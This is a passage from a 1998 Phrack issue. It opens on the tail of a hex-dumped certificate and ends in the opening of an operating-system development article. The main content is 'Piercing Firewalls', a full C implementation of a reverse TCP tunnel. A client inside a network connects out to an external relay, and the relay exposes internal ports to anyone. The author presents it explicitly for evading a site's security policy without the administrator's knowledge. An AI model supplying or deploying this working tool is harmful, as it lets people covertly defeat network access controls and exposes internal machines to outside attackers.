0B 30 09 06 03 55 04 06 13 02 55 53 40,1.0...U....US 31 1D 30 1B 06 03 55 04 0A 13 14 45 78 61 6D 70 1.0...U....Examp 6C 65 20 4F 72 67 61 6E 69 7A 61 74 69 6F 6E 02 le Organization. 04 14 00 00 29 30 0C 06 08 2A 86 48 86 F7 0D 02 ....)0...*.H.... 02 05 00 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 ...0...*.H...... 05 00 04 40 05 FA 6A 81 2F C7 DF 8B F4 F2 54 25 ...@..j./.....T% 09 E0 3E 84 6E 11 B9 C6 20 BE 20 09 EF B4 40 EF ..>.n... . ...@. BC C6 69 21 69 94 AC 04 F3 41 B5 7D 05 20 2D 42 ..i!i....A.}. ‑B 8F B2 A2 7B 5C 77 DF D9 B1 5B FC 3D 55 93 53 50 ...{\w...[.=U.SP

34 10 C1 E1 E1 4....

Many other demo (not only ;) keys, tons of related C++ source/libraries for Linux and Win32 and documentation can be found on my web site at this address (case sensitive):

http://members.tripod.com/~xception_0x0A28/penumbra.html

"That which does not kill us makes us stronger"

‑‑ Friedrich Nietzsche

‑‑‑‑[ EOF

Piercing Firewalls

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 16 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Piercing Firewalls

‑‑‑‑‑‑‑‑[ bishnu@hotmail.com

Introduction:

Many ISPs manage a firewall to protect their users against the hostile Internet. While the firewall might protect the users, it also serves to limit their freedom.

Most firewalls don't allow a connection to be established if the initiative is coming from the outside, as this automatically disables many security vulnerabilities. Unfortunately, this also means that many other things are not possible; for example, sending an X‑display to a machine behind the firewall, or something similar.

One solution is to ask the firewall administrator to configure the firewall not to disable X connections (or the port you plan to use. This normally means allowing connections on port 6000 to penetrate the firewall. But often the admin does not want to, as he is either too busy, hasn't figured out how to configure the firewall yet, or simply refuses to, as it violates the site security policy. Maybe you don't even want him to know that you plan to send some traffic backwards.

For this purpose I wrote two simple programs that transmit TCP connections back thorough a tunnel, to your machine.

The tunnel:

The solution is two programs, one running at your machine, or some other machine behind the firewall, and another running at some *NIX‑box on the Internet. The program behind the firewall (called tunnel) connects to a program (called portal) on the machine on the Internet. This connection probably won't be intercepted by the firewall (depending on the security policy), as it is outgoing. Once the connection from the tunnel to the portal is established, the portal opens a port for incoming TCP traffic, and we are ready to rock. Whenever a machine connects to the portal it sends the request back to the tunnel thorough the already established connection through the firewall, the tunnel will then forward the connection to your machine.

The effect will be that you drag a port on your machine (or any machine behind the firewall) onto the other side of the firewall, which means that anyone can connect to it regardless of the site's security policy.

An example:

Goof: Your machine.

Foo : Some other machine behind the firewall or same as Goof, running 'tunnel'. Bar : Some machine on the other side of the firewall running 'portal'. Boof: Some machine wanting to connect to machine Goof, or same as Bar.

FIREWALL

tunnel ^ portal

######### ^ #########

# Foo #======================# Bar #

######### ^ #########

| ^ |

| ^ |

| ^ |

######### ^ #########

# Goof # ^ # Boof #

######### ^ #########

FIREWALL

You are sitting on machine Goof, and you run some program on machine Boof, this program happens to be using X‑windows, so you want to send the display back to machine Goof. X‑windows tries to establish a TCP connection through the firewall, which is 'burned'.

So you start the tunnel on machine Foo, and set it to connect to machine Bar at lets say port 7000 (where the portal is running), also you set the tunnel to forward all TCP connections, coming back from the portal, to your machine Goof on port 6000 (X‑windows). You start the portal on machine Bar, and you make it listen for the tunnel on port 7000. Once the tunnel has connected, the portal listens on port 6001 for incoming X. Whenever some X‑application connects to the portal, the connection is passed to the tunnel, which then forwards it to machine Goof on port 6000.

Finally on machine Boof you set your display to machine Bar:1 (in a tcsh type 'setenv DISPLAY bar:1', in bash 'export DISPLAY=bar:1'), which tells the application to use port 6001 (We can't use port 6000 if the machine is running a X‑server itself). You start your Xeyes, and they pop in your face.

Conclusion:

If you use this program to cross a firewall you surely violate the ISP's security policy, as anybody can cross it as well, that is if they know, and there is nothing like security by obscurity. So don't tell your mom.

An advantage of this approach is that you don't need to have root access on either machine, which is makes the whole process a bit easier.

To compile the code, just do a `make`. It has been tested on Solaris 2.5.x, 2.6

IRIX 6.[2,3,4]

FreeBSD 2.1.5

HPUX 10.x

Linux 2.0.x

‑‑‑‑[ THE CODE

<++> tunnel/Makefile

CC = gcc

OSFLAGS =

MYFLAGS = ‑Wall ‑O2 ‑g ‑pedantic

CFLAGS = $(MYFLAGS) $(PROFILE) $(OSFLAGS)

#If you compile on Solaris 2.x, uncomment the following line #LOCAL_LIBRARIES = ‑lsocket

TUNNEL_OBJFILES = tunnel.o share.o

PORTAL_OBJFILES = portal.o share.o

all: tunnel portal

tunnel : $(TUNNEL_OBJFILES) share.h

$(CC) $(TUNNEL_OBJFILES) $(LOCAL_LIBRARIES) ‑o tunnel

tunnel.o : tunnel.c share.h

$(CC) ‑c $(CFLAGS) $(COMMFLAGS) tunnel.c

portal : $(PORTAL_OBJFILES) share.h

$(CC) $(PORTAL_OBJFILES) $(LOCAL_LIBRARIES) ‑o portal

portal.o : portal.c share.h

$(CC) ‑c $(CFLAGS) $(COMMFLAGS) portal.c

share.o : share.c share.h

$(CC) ‑c $(CFLAGS) $(COMMFLAGS) share.c

clean:

rm ‑f *.o tunnel portal core

<‑‑>

<++> tunnel/tunnel.c

/*

‑TUNNEL‑

This is the tunnel part of my firewall piercer. This code is supposed to be running on the inside of the firewall. The tunnel should then connect to the portal running on the outside.

start it like:

>% tunnel localhost 23 protal.machine.com 3001

if the portal is running at port 3001 at portal.machine.com, incoming connections to the portal will get rerouted to this machines telnet port.

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <string.h>

#include <signal.h>

#include <errno.h>

#include "share.h"

extern char tunnel_buf[MAXLEN*2];

char buf[MAXLEN*2];

extern int tunnel_des; /* The socket destination of a tunnel packet*/

extern int tunnel_src; /* The socket source of a tunel packet*/

extern int tunnel_size; /* Size of tunnel packet*/

extern struct connections connections; /*Linked list of connections*/

char *remote_machine; /*remote machine name to tunnel to*/

extern int tunnel_port; /*tunnel port*/

extern int tunnel_sock; /*tunnel socket*/

char *login_machine=""; /*machine to forward connections to*/

int login_port; /*port to forward connections to*/

int oldtime=0,ping_time=0;

struct connection *descriptors[DESC_MAX];

extern struct connection *descriptors[DESC_MAX];

extern int errno;

FILE *log=stdout; /*logfile = stdout by default*/

void open_tunnel(){ tunnel_sock=remote_connect(remote_machine,tunnel_port);

}

extern int optind;

extern char *optarg;

void usage(){

printf("Usage: tunnel [‑l logfile] <forward_machine> <forward_port>" \ " <portal_machine> <portal_port>\n");

printf("where:\n");

printf("forward_machine is the machine to which the traffic is forwarded\n"); printf("forward_port is the port to which the traffic is forwarded\n"); printf("portal_machine is the machine we want to route the trafic from\n"); printf("portal_port is the port we want to route the trafic from\n"); printf("Coded by %s\n",AUTHOR);

}

/********************** Get the options ***********************/

void get_options(int argc,char *argv[]){

int c;

while((c=getopt(argc,argv, "l:")) !=‑1)

switch(c){

case 'l':

if(!(log=fopen(optarg,"w"))){

log=stdout;

fprintf(log,"Unable to open logfile '%s':%s\n", optarg,strerror(errno));

}

break;

case '?':

default:

usage();

exit(‑1);

}

/* the two next options*/

if(argc‑optind!=4){

printf("Wrong number of options!\n");

usage();

exit(‑1);

}

login_machine=get_ip(argv[optind++]); login_port=atoi(argv[optind++]); remote_machine=get_ip(argv[optind++]); tunnel_port=atoi(argv[optind++]); if(login_port<1||login_port>65535||tunnel_port<1||tunnel_port>65535){ printf("Ports below 1 and above 65535 don't give any sense\n"); usage();

exit(‑1);

}

}

void alive(){

/* To check wether the line is still alive, we Myping it every

ALIVE_TIME seconds. If we don't get a ping from the tunnel every ALIVE_TIME*2 we disconnect the connection to the portal, and wait for a new. If the portal has not died, all the connections through the tunnel will continue as normal once the connection has been established again.

The reason why I do this is because some firewalls tend to disable connections if there hasn't been any traffic for some time, or if the connection had been up too long time.

*/

/*Transmit a Myping packet, we receive the

answer in check_tunnel_connection()*/

if(time(NULL)‑oldtime>=ALIVE_TIME){

oldtime=time(NULL);

transmit_tunnel(buf,0,0,0);

}

if(time(NULL)‑ping_time>ALIVE_TIME*2){

printf("Connection to portal probably lost, hanging up.\n"); shutdown(tunnel_sock,2);

close(tunnel_sock);

tunnel_sock=‑1;

}

}

int reset_selector(fd_set *selector,fd_set *errsel,struct connection *con) {

/* We tell the selector to look on the tunnel socket aswell

as our live connections.*/

int maxsock,i;

FD_ZERO(selector);

FD_SET(tunnel_sock,selector);

FD_SET(tunnel_sock,errsel);

con=connections.head;

maxsock=tunnel_sock; for(i=0;i<connections.num;i++,con=con‑>next){ FD_SET(con‑>local_sock,selector); FD_SET(con‑>local_sock,errsel); maxsock=max(maxsock,con‑>local_sock);

}

return(maxsock); /*We return the maximum socket number*/

}

void check_tunnel_connection(fd_set *selector,fd_set *errsel,struct connection *con){ /*Here we check the tunnel for incoming data*/

if(FD_ISSET(tunnel_sock,errsel)){

fprintf(log,"Tunnel connection terminated!\n"); shutdown(tunnel_sock,2);

close(tunnel_sock);

tunnel_sock=‑1;

return;

}

if(FD_ISSET(tunnel_sock,selector)){ if(receive_tunnel()!=‑1){

if(tunnel_src==0&&tunnel_des==0){ /*We have a Myping packet*/

ping_time=time(NULL); /*reset the alive_timer*/

}

else if(tunnel_src==0){/*We have a 'hangup' signal for a connection*/

if((con=descriptors[tunnel_des])){

fprintf(log,"Removing connection to %s %d\n",con‑>host,con‑>port); removeconnection(con);

}

}

else if(tunnel_des==0){ /*We have a new connection*/

int newsock; if((newsock=remote_connect(login_machine,login_port))!=‑1){ connections.num++;

con=(struct connection *)malloc(sizeof(struct connection)); con‑>host=(char *)malloc(MAX_HOSTNAME_SIZE); strncpy(con‑>host,&tunnel_buf[4],MAX_HOSTNAME_SIZE); con‑>port=ntohl((((int *)tunnel_buf)[0])); con‑>local_sock=newsock;

con‑>remote_sock=tunnel_src;

con‑>time=time(NULL);

con‑>next=connections.head;

connections.head=con;

descriptors[newsock]=con;

fprintf(log,"Connected the incoming call from %s %d to %s %d\n",con‑>host,con‑>port,login_machine,login_port); /*Acknowledge the new connection to the portal*/

transmit_tunnel(buf,0,con‑>local_sock,con‑>remote_sock);

}

}

else if(descriptors[tunnel_des]){

/*Send the data to the right descriptor*/

writen(descriptors[tunnel_des]‑>local_sock,tunnel_buf,tunnel_size); }

else{

fprintf(log,"Connection to unallocated channel, hangup signal sent\n"); /*Send a hangup signal to the portal, to disable the connection*/

transmit_tunnel(buf,0,0,tunnel_src);

}

}

}

}

void main(int argc,char **argv)

{

get_options(argc,argv);

fprintf(log,"Opening tunnel to %s port %d\n",remote_machine,tunnel_port); fprintf(log,"Tunnelconnections will be forwarded to host %s"\ " port %d\n",login_machine,login_port);

connections.num=0;

connections.head=NULL;

signal(SIGINT,ctrlC);

while(1){ /*The tunnel runs infinitely*/

struct connection *con=connections.head;

open_tunnel();

ping_time=time(NULL);

while(tunnel_sock!=‑1){

fd_set selector,errsel;

struct timeval alive_time; alive_time.tv_sec=ALIVE_TIME;

alive_time.tv_usec=0;

alive(); /*Check wether the tunnelconnection is alive*/

/* We have to listen to the tunnel and all the current connections.

we do that with a select call*/

if(select(reset_selector(&selector,&errsel,con)+1,

&selector,NULL,&errsel,&alive_time)){

/*Check for each of the local connections*/

check_local_connections(&selector,&errsel,con);

/*Check for the tunnel*/

check_tunnel_connection(&selector,&errsel,con);

}

}

sleep(RETRY_TIME); /*We sleep a while*/

/* fprintf(log,"Trying to connect to portal.\n"); */

}

}

<‑‑>

<++> tunnel/portal.c

/*

‑PORTAL‑

This is the portal part of my firewall piercer. This code is supposed to be running on the outside of the firewall. The tunnel part should then connect trough the firewall to this program.

start it like:

>% portal 3000 3001

for tunnel connection on port 3001 and incoming calls on 3000.

when you connect to the portal at port 3000 your connection will be forwarded to the tunnel.

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <string.h>

#include <netdb.h>

#include <unistd.h>

#include <signal.h>

#include <errno.h>

#include "share.h"

/***************/

/* Global data */

/***************/

extern char tunnel_buf[MAXLEN*2];

extern int tunnel_des;

extern int tunnel_src;

extern int tunnel_size;

extern struct connections connections;

extern struct connection *descriptors[DESC_MAX];

extern int errno;

extern int tunnel_port; /*tunnel port*/

extern int tunnel_sock; /*tunnel new accepted socket*/

char buf[MAXLEN*2];

char *remote_machine; /*remote machine name*/

int tunnel_basesock; /*tunnel base socket*/

int local_sock; /* local port socket*/

int local_port; /*local machine port*/

FILE *log=stdout; /*logfile = stdout by default*/

int ping_time=0;

/********************** Usage ***********************/

void usage(){

fprintf(stderr,"Usage: portal [‑l logfile] <local_port> <tunnel_port>\n"); fprintf(stderr,"where:\n");

fprintf(stderr,"local_port is the port where we accept incoming" \ " connections\n");

fprintf(stderr,"remote_port is the port where we accept the tunnel" \ " to connect\n");

fprintf(stderr,"Coded by %s\n",AUTHOR);

}

/********************** Get the options ***********************/

extern int optind;

extern char *optarg;

void get_options(int argc,char *argv[]){

int c;

while((c=getopt(argc,argv, "l:")) !=‑1)

switch(c){

case 'l':

if(!(log=fopen(optarg,"w"))){

log=stdout;

fprintf(log,"Unable to open logfile '%s':%s\n", optarg,strerror(errno));

}

break;

case '?':

default:

usage();

exit(‑1);

}

/* the two next options*/

if(argc‑optind!=2){

printf("Wrong number of options!\n");

usage();

exit(‑1);

}

local_port=atoi(argv[optind++]); tunnel_port=atoi(argv[optind++]); if(local_port<1||local_port>65535||tunnel_port<1||tunnel_port>65535){ printf("Ports below 1 and above 65535 dont give any sense\n"); usage();

exit(‑1);

}

}

/***************************************

/*************** Portal *****************/

/***************************************

void open_local_port(){

/*Open the local port for incoming connections*/

struct sockaddr_in ser;

int opt=1;

local_sock=socket(AF_INET,SOCK_STREAM,0); if(local_sock==‑1){fprintf(log,"Error opening socket\n");exit(0);} if(setsockopt(local_sock,SOL_SOCKET,SO_REUSEADDR,

(char *)&opt,sizeof(opt))<0)

{perror("setsockopt REUSEADDR");exit(1);}

ZERO((char *) &ser,sizeof(ser));

ser.sin_family = AF_INET;

ser.sin_addr.s_addr = htonl(INADDR_ANY);

ser.sin_port = htons(local_port); if(bind(local_sock,(struct sockaddr *)&ser,sizeof(ser)) ==‑1 ){ fprintf(log,"Error binding to local port %d : %s\n" ,local_port,strerror(errno));

exit(‑1);

}

if(listen(local_sock,5)==‑1){

fprintf(log,"Error listening to local port %d : %s" ,local_port,strerror(errno));

exit(‑1);

}

fprintf(log,"Opened local port %d on socket %d\n",local_port,local_sock); }

void open_portal(){

int opt=0;

struct sockaddr_in ser; if((tunnel_basesock=socket(AF_INET,SOCK_STREAM,0))==‑1) {perror("socket");exit(‑1);} if(setsockopt(tunnel_basesock,SOL_SOCKET,SO_REUSEADDR,

(char *)&opt,sizeof(opt))<0)

{perror("setsockopt REUSEADDR");exit(‑1);}

ZERO((char *) &ser,sizeof(ser));

ser.sin_family = AF_INET;

ser.sin_addr.s_addr = htonl(INADDR_ANY);

ser.sin_port = htons(tunnel_port); if(bind(tunnel_basesock,(struct sockaddr *)&ser,sizeof(ser)) ==‑1 ){ fprintf(log,"Error binding to tunnel port %d : %s\n" ,tunnel_port,strerror(errno));

exit(‑1);

}

if(listen(tunnel_basesock,5)==‑1){

fprintf(log,"Error listening to tunnel port %d : %s" ,tunnel_port,strerror(errno));

exit(‑1);

}

}

int accept_portal(){

struct hostent *from;

struct sockaddr_in cli;

int newsock,clilen;

clilen=sizeof(cli);

if(!tunnel_basesock){return(‑1);}

/*Accept incoming calls*/

newsock=accept(tunnel_basesock,(struct sockaddr *)&cli,&clilen); /*We want to know know our remote host better*/

from=gethostbyaddr((char *)(&cli.sin_addr),sizeof(cli.sin_addr),PF_INET); if(!from){

close(newsock);

return(‑1);

}

fprintf(log,"Tunnel connection from:%s %d\n",from‑>h_name,cli.sin_port); return(newsock);

}

void close_portal(){

shutdown(tunnel_sock,1);

close(tunnel_sock);

}

struct connection *receive_local(){

struct sockaddr_in cli;

int newsock,clilen;

struct hostent *from;

struct connection *con;

clilen=sizeof(cli);

/*Accept incoming calls*/

newsock=accept(local_sock,(struct sockaddr *)&cli,&clilen); if(newsock==‑1)

{fprintf(log,"Server Accept Error:%s\n",strerror(errno));exit(‑1);} /*We want to know know our remote host better*/

from=gethostbyaddr((char *)(&cli.sin_addr),sizeof(cli.sin_addr), PF_INET); fprintf(log,"New connection from:%s %d\n",from‑>h_name,cli.sin_port); /*Add our new friend to our list of connections*/

connections.num++;

con=(struct connection *)malloc(sizeof(struct connection)); con‑>host=strdup(from‑>h_name);

con‑>port=cli.sin_port;

con‑>local_sock=newsock;

con‑>remote_sock=0;

con‑>time=time(NULL);

con‑>next=connections.head;

connections.head=con;

descriptors[newsock]=con;

return(con);

}

void alive(){

/* If we don't get a ping from the tunnel

every ALIVE_TIME*2 we disconnect the connection to the tunnel, and wait for a new. If the tunnel has not died, all the connections from the tunnel will continue as normal once the connection has been established again*/

if(time(NULL)‑ping_time>ALIVE_TIME*2){

printf("Connection to tunnel probably lost, hanging up.\n"); shutdown(tunnel_sock,2);

close(tunnel_sock);

tunnel_sock=‑1;

}

}

int reset_selector(fd_set *selector,fd_set *errsel,struct connection *con){ /* We tell the selector to look on the tunnel socket aswell

as our live connections, and the connection socket.*/

int maxsock,i;

FD_ZERO(selector);

FD_SET(local_sock,selector);

FD_SET(tunnel_sock,selector);

FD_SET(local_sock,errsel);

FD_SET(tunnel_sock,errsel);

con=connections.head;

maxsock=max(local_sock,tunnel_sock); for(i=0;i<connections.num;i++,con=con‑>next){ FD_SET(con‑>local_sock,selector); FD_SET(con‑>local_sock,errsel); maxsock=max(maxsock,con‑>local_sock);

}

return(maxsock);

}

void check_tunnel_connection(fd_set *selector,fd_set *errsel,struct connection *con){ /*Here we check the tunnel for incoming data*/

if(FD_ISSET(tunnel_sock,errsel)){

fprintf(log,"Tunnel connection terminated!\n"); shutdown(tunnel_sock,2);

close(tunnel_sock);

tunnel_sock=‑1;

return;

}

if(FD_ISSET(tunnel_sock,selector)){ if(receive_tunnel()!=‑1){

if(tunnel_src==0&&tunnel_des==0){ /*We got a Myping*/

ping_time=time(NULL);

/* Ping the tunnel back!*/

transmit_tunnel(buf,0,0,0); /*Send a Myping back*/

}

else if(tunnel_des){

if(descriptors[tunnel_des]){

con=descriptors[tunnel_des];

if(tunnel_src!=0){

con‑>remote_sock=tunnel_src; writen(descriptors[tunnel_des]‑>local_sock,tunnel_buf,tunnel_size); }

else{

printf("Hangup signal received. Removing connection to %s %d\n",con‑>host,con‑>port); removeconnection(con);

}

}

}

}

}

}

void check_connection_port(fd_set *selector,fd_set *errsel,struct connection *con){ /*Here we check the connection port for new connections*/

if(FD_ISSET(local_sock,selector)){

con=receive_local();

if(con){

printf("Transmitting the new connection\n");

*((int *)(&buf[4]))=htonl(con‑>port);

strncpy(&buf[8],con‑>host,MAX_HOSTNAME_SIZE);

*(&buf[8]+strlen(con‑>host))=0; transmit_tunnel(buf,4+min(strlen(con‑>host)+1,MAX_HOSTNAME_SIZE),con‑>local_sock,0); }

}

}

void main(int argc,char **argv){

get_options(argc,argv);

init_descriptors();

connections.num=0;

connections.head=NULL;

remote_machine=get_ip(argv[2]);

fprintf(log,"Tunneling incoming calls on port %d to port %d \n" ,local_port,tunnel_port);

connections.num=0;

connections.head=NULL;

fprintf(log,"Opening portal\n");

open_portal();

signal(SIGINT,ctrlC);

fprintf(log,"Opening localport\n");

open_local_port();

while(1){

fprintf(log,"Waiting for tunnel connection on port %d\n",tunnel_port); while((tunnel_sock=accept_portal())==‑1) sleep(4); ping_time=time(NULL);

while(tunnel_sock!=‑1){

fd_set selector,errsel;

struct connection *con=NULL;

struct timeval alive_time;

alive_time.tv_sec=ALIVE_TIME;

alive_time.tv_usec=0;

alive();

/* We have to listen to the tunnel, the local port, and alle the

current connections. */

if(select(reset_selector(&selector,&errsel,con)+1,

&selector,NULL,&errsel,&alive_time)){

check_tunnel_connection(&selector,&errsel,con); check_connection_port(&selector,&errsel,con); check_local_connections(&selector,&errsel,con);

}

}

sleep(2);

}

}

<‑‑>

<++> tunnel/share.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/utsname.h>

#include <fcntl.h>

#include <string.h>

#include <signal.h>

#include <errno.h>

#include <netdb.h>

#include "share.h"

char tunnel_buf[MAXLEN*2]; /*Buffer to store the tunnel data in*/

int tunnel_des; /*Destination socket */

int tunnel_src; /*Source socket*/

int tunnel_size; /*Size of the data currently in the buffer*/

int tunnel_sock; /*The socket of the portal*/

int tunnel_port; /*The port we wan't to run on*/

extern FILE *log; /* Our log file*/

extern int errno;

struct connection *descriptors[DESC_MAX];

struct connections connections; /*A linked list of our connections*/

/*

Packet header:

####################################/

# Dest # Source# Data size # / data comes here

###################################\

1 byte 1 byte 2 bytes

If the sestination field is zero, we are initiating a new connection If the source field we are dropping a connection

If both the destination and the source is zero, it is a Myping packet. */

void ctrlC(int sig)

{

fprintf(log,"Shutting down the hard way\n"); shutdown(tunnel_sock,2);

close(tunnel_sock);

exit(‑1);

}

char *get_ip(char *host){

struct hostent *remote;

struct in_addr *in;

remote=gethostbyname(host);

if(remote==NULL){

fprintf(log,"Hostinformation of remote machine '%s' not resolved,"\ " reason:%s",host,strerror(errno));

exit(‑1);

}

in=(struct in_addr *)remote‑>h_addr_list[0]; return(strdup(inet_ntoa(*in)));

}

int transmit_tunnel(char *data,int size,int source,int destination){ int nleft=size+4,nwritten;

fd_set selector,errsel;

data[0]=(unsigned char)destination; /*Destination into header*/

data[1]=(unsigned char)source; /*Source into header*/

*((u_short *)&data[2])=htons(size); /*Size into header*/

while(nleft>0){

FD_ZERO(&errsel);

FD_ZERO(&selector);

FD_SET(tunnel_sock,&errsel);

FD_SET(tunnel_sock,&selector);

select(tunnel_sock+1,NULL,&selector,&errsel,NULL); if(FD_ISSET(tunnel_sock,&errsel)){

printf("Big bug\n");

}

nwritten=write(tunnel_sock,data,nleft);

if(nwritten==‑1){

fprintf(log,"Error writing to tunnel:%s\n",strerror(errno)); tunnel_sock=‑1;

return(nwritten);

}

else if(nwritten==0){

fprintf(log,"Error: Wrote zero bytes in transmit_tunnel\n"); return(nwritten);

}

nleft‑=nwritten;

data+=nwritten;

}

return(size ‑ nleft);

}

int receive_tunnel(){

static int received=0;

int n,left,got=0,quit=0,sofar=0;

received++;

while(sofar<4){

quit=0;

while(!quit){

n=read(tunnel_sock,&tunnel_buf[sofar],4‑sofar); if(n>0){quit=1;sofar+=n;}

if(n<1){

fprintf(log,"Connection terminated!\n"); shutdown(tunnel_sock,2);

close(tunnel_sock);

tunnel_sock=‑1;

return(‑1);

}

}

}

tunnel_des=tunnel_buf[0]; /*Fetch the destination*/

tunnel_src=tunnel_buf[1]; /*Fetch the source*/

tunnel_size=ntohs(*((u_short *)&tunnel_buf[2])); /*Fetch the size*/

left=tunnel_size;

while(left!=0){

n=read(tunnel_sock,&tunnel_buf[got],left);

if(n<0){

fprintf(log,"Connection terminated in receive_tunnel!\n"); shutdown(tunnel_sock,2);

close(tunnel_sock);

tunnel_sock=‑1;

return(‑1);

}

got+=n;

left‑=n;

}

return(n);

}

void check_local_connections(fd_set *selector,fd_set *errsel,struct connection *con){ /*Here we check each of the local connections for incoming date*/

char buf[MAXLEN*2];

int i,n;

con=connections.head;

for(i=0;i<connections.num&&con;i++,con=con‑>next){ if(FD_ISSET(con‑>local_sock,errsel)){

fprintf(log,"LLocal connection terminated\n"); fprintf(log,"Removing connection to %s %d\n",con‑>host,con‑>port); if(con‑>remote_sock) transmit_tunnel(buf,0,0,con‑>remote_sock); removeconnection(con);

break;

}

if(FD_ISSET(con‑>local_sock,selector)&&con‑>remote_sock){ n=read(con‑>local_sock,&buf[4],MAXLEN);

if(n<1){

fprintf(log,"Local connection terminated\n"); fprintf(log,"Removing connection to %s %d\n",con‑>host,con‑>port); transmit_tunnel(buf,0,0,con‑>remote_sock); removeconnection(con);

break;

}

/*forward the data to the tunnel*/

transmit_tunnel(buf,n,con‑>local_sock,con‑>remote_sock); }

}

}

void ZERO(char * buf,int size){int i=0;while(i<size)buf[i++]=0;}

int writen(int fd, char *ptr, int nbytes)

{

int nleft=nbytes,nwritten;

while(nleft>0){

nwritten=write(fd,ptr,nleft);

if(nwritten<=0) return(nwritten);

nleft‑=nwritten;

ptr+=nwritten;

}

return(nbytes ‑ nleft);

}

int remote_connect(char *machine,int port)

{

int sock;

struct sockaddr_in ser;

ZERO((char *) &ser,sizeof(ser));

ser.sin_family = AF_INET;

ser.sin_addr.s_addr = inet_addr(machine);

ser.sin_port = htons(port); sock=socket(AF_INET,SOCK_STREAM,0);

if(sock==‑1){perror("Error opening socket\n");return(‑1);} if(connect(sock,(struct sockaddr *) &ser,sizeof(ser))==‑1){ fprintf(log,"Can't connect to server:%s\n",strerror(errno)); return(‑1);

}

return(sock);

}

void disconnect(struct connection *con,int sock1,int sock2){ fprintf(log,"Closing link to: %s %d\n",con‑>host,con‑>port); shutdown(sock1,2);

shutdown(sock2,2);

close(sock1);

close(sock2);

close(con‑>local_sock);

}

void init_descriptors(){

int i;

for(i=0;i<DESC_MAX;i++){

descriptors[i]=NULL;

}

}

void removeconnection(struct connection *con){

struct connection *c2,*c=connections.head;

if(c==con){

connections.head=c‑>next;

descriptors[c‑>local_sock]=NULL;

free(c‑>host);

shutdown(c‑>local_sock,2);

close(c‑>local_sock);

free(c);

connections.num‑‑;

return;

}

c2=c;

c=c‑>next;

while(c){

if(c==con){

/* connections.head=c2; */

c2‑>next=c‑>next;

descriptors[c‑>local_sock]=NULL;

free(c‑>host);

shutdown(c‑>local_sock,2);

close(c‑>local_sock);

free(c);

connections.num‑‑;

return;

}

c2=c;

c=c‑>next;

}

}

<‑‑>

<++> tunnel/share.h

/*********************/

/* Structs & Defines */

/*********************/

#define MAX_HOSTNAME_SIZE 128

#define MAXLEN 32768 /*Maximum length of our data*/

#define ALIVE_TIME 60 /*Time to wait before sending a Myping*/

#define DESC_MAX 128 /*Maximum number of descriptors used*/

#define RETRY_TIME 60 /* Time to wait before we reconnect to portal*/

#define max(a,b) ((a>b)?a:b)

#define min(a,b) ((a<b)?a:b)

#define AUTHOR "bishnu@hotmail.com"

struct connections{

int num;

struct connection *head;

};

struct connection{

struct connection *next;

int port;

int local_sock;

int remote_sock;

time_t time;

char *host;

};

char *get_ip(char *host);

void random_delay(int n);

int transmit_tunnel(char *data,int size,int source,int destination); int receive_tunnel();

void hostname(char *name);

void ZERO(char * buf,int size);

int writen(int fd, char *ptr, int nbytes);

void ctrlC(int sig);

void sleep_usec(int n);

void nonblock(int s);

int remote_connect(char *machine,int port);

void disconnect(struct connection *con,int sock1,int sock2);

void init_descriptors();

int max_descriptor();

void removeconnection(struct connection *con);

void check_local_connections(fd_set *selector,fd_set *errsel,struct connection *con); <‑‑>

‑‑‑‑[ EOF

Protected mode programming and O/S development

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 17 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Protected mode programming and O/S development

‑‑‑‑‑‑‑‑[ Mythrandir <jwthomp@cu‑online.com>

‑‑‑‑[ Forward

About two months ago I decided to begin learning about developing an operating system from the ground up. I have been involved in trusted operating systems development for over two years now but have always done my work with pre‑existing operating systems. Mucking with this driver model, deciphering that streams implementation, loving this, hating that. I decided it was time to begin fresh and start really thinking about how to approach the design of one, so that I would be happy with every part. At least if I wasn't, I would only be calling myself names.

This article is the first tentative step in my development of an operating system. What is here is not really much of a kernel yet. The big focus of this article will be getting a system up and running in protected mode with a very minimal kernel. I stress minimal. I have been asked repeatedly what my design goals for this operating system are. The fact is the operating system itself was the goal for this part. There was simply to much that I didn't know about this stage of the development to go on designing something. It would be like asking a kindergarten fingerpainter what her final masterpiece was going to look like.

However, now that I have this phase reasonably done, it is time to begin thinking about such issues as: a security subsystem, a driver subsystem, as well as developing a real task manager and a real memory manager. Hopefully, by the next phrack I will be able to not only answer what I want for these topics but have also implemented many of them. This will leave me with a much more solid kernel that can be built upon.

So, why write this article? There are several reasons. First, writing down what you have done always help solidify your thoughts and understanding. Second, having to write an article imposes a deadline on me which forces me to get the job done. Finally, and most importantly I hope to give out enough knowledge that others who are interested in the subject can begin to do some work in it.

One comment on the name. JeffOS is not going to be the final name for this OS. In fact several names have been suggested. However, I have no idea yet what I want to call it, mostly because it just isn't solidified enough for a name. When its all said and done, I do hope I can come up with something better than JeffOS. For now, getting a real working kernel is more important than a real working name.

I hope that you find the following information interesting, and worth investigating further.

Cheers,

Jeff Thompson

AKA Mythrandir

PS: Some words on the Cryptography article. First a thank you for all of the letters that I received on the article. I am happy to find that many people found the article interesting. For several people it rekindled an old interest which is always great to hear. However, for several people I have unfortunate news as well. The next article in the series will have to be postponed for a few issues until I complete this operating system. As is with many people, I have been caught by a new bug (The OS bug) and have set myself up to be committed to the work for some time. I am of course still interested in discussing the topic with others and look forward to more email on the subject.

The winners of the decryption contest were:

1st message:

1st) Chaos at chaos@vector.nevtron.si

2nd) Oxygen at oxygen@james.kalifornia.com

Solution:

The baron's army will attack at dawn. Ready the Templar knights and strike his castle while we hold him.

2nd message:

1st) Chaos

Solution:

MULTICAST PROTOCOLS HAVE BEEN DEVELOPED TO SUPPORT GROUP COMMUNICATIONS THESE PROTOCOLS USE A ONE TO MANY PARADIGM FOR TRANSMISSION TYPICALLY USING CLASS D INTERNET PROTOCOL ADDRESSES TO SPECIFY SPECIFIC MULTICAST GROUPS

